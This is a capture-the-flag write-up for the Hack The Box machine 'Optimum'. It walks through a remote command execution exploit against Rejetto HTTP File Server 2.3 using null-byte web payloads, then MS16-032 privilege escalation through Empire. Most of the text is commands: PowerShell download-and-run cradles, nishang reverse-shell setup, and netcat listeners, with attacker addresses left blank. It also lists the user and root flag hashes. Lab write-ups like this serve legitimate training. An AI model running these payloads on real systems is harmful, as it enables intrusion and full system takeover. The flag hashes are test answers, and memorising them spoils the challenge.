Optimum -

Target Enumeration


User: d0c39409d7b994a9a1389ebf38ef5f73

Root: 51ed1b36553c8461f4552c2e92b3eeed

Ports / Services / Software Versions Running

80/tcp open http HttpFileServer httpd 2.3

Vulnerability Exploited:

Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution


Vulnerability Explanation:

Rejetto HttpFileServer (HFS) is vulnerable to remote command execution attack due to a poor regex in the file ParserLib.pas. This module exploits the HFS scripting commands by using '%00' to bypass the filtering. This module has been tested successfully on HFS 2.3b over Windows XP SP3, Windows 7 SP1 and Windows 8.

Privilege Escalation

MS16-032 - Microsoft Windows 7 < 10 / 2008 < 2012 R2 (x86/x64) - Local Privilege Escalation


Replicating the exploit:



Port 80 in browser

Version number on page and in sourcecode:


Copy to current dir

searchsploit -m windows/remote/39161.py

Modify the file with

Requires nc in current dir server over port 80 and start a listener on port 443

Execute the script

Now you have a low priv shell


That’s the easy way. There is also a metasploit module. Harder way, via the webapp.

Null bytes allow code execution

Send that to the repeater and ping your localhost

Use TCP dump to see if you can see the ping

Now download nishang

git clone https://github.com/samratashok/nishang.git

Copy powershell command to local folder (do not edit)

cp nishang/Shells/Invoke-PowerShellTcp.ps1 .

Add the following to the bottom of the file

Check you can ping with powershell

/?search=%00{.exec|C:\Windows\SysNative\WindowsPowershell\v1.0\powershell.exe ping}

Check with tcpdump which should respond.

Replace ping with the following which needs to be URL encoded.:

/?search=%00{.exec|C:\Windows\SysNative\WindowsPowershell\v1.0\powershell.exe IEX(New-Object Net.WebClient).downloadString('').}

After a while you will have a Powershell shell.

Run systeminfo and Sherlock.ps1 from within powershell

IEX(New-Object Net.WebClient).DownloadString("")

It appears its vulnerable to MS16-032

We do not have an interactive session so will need to download Empire to elevate our privileges

git clone https://github.com/EmpireProject/Empire.git

cp /root/Data/Lab/Hackthebox/HackTheBox/

Modify with this line at the bottom

Invoke-MS16032 -Command "iex(New-Object Net.WebClient).DownloadString('')"

Copy existing powershell tcp script to shell.ps1

Amend the last line to the following and set up a nc listener on port 444

Invoke-PowerShellTcp -Reverse -IPAddress -Port 444

Execute the following as a low priv user:

IEX(New-Object Net.WebClient).DownloadString("")

Wait for a while and you will receive a system shell.


Last updated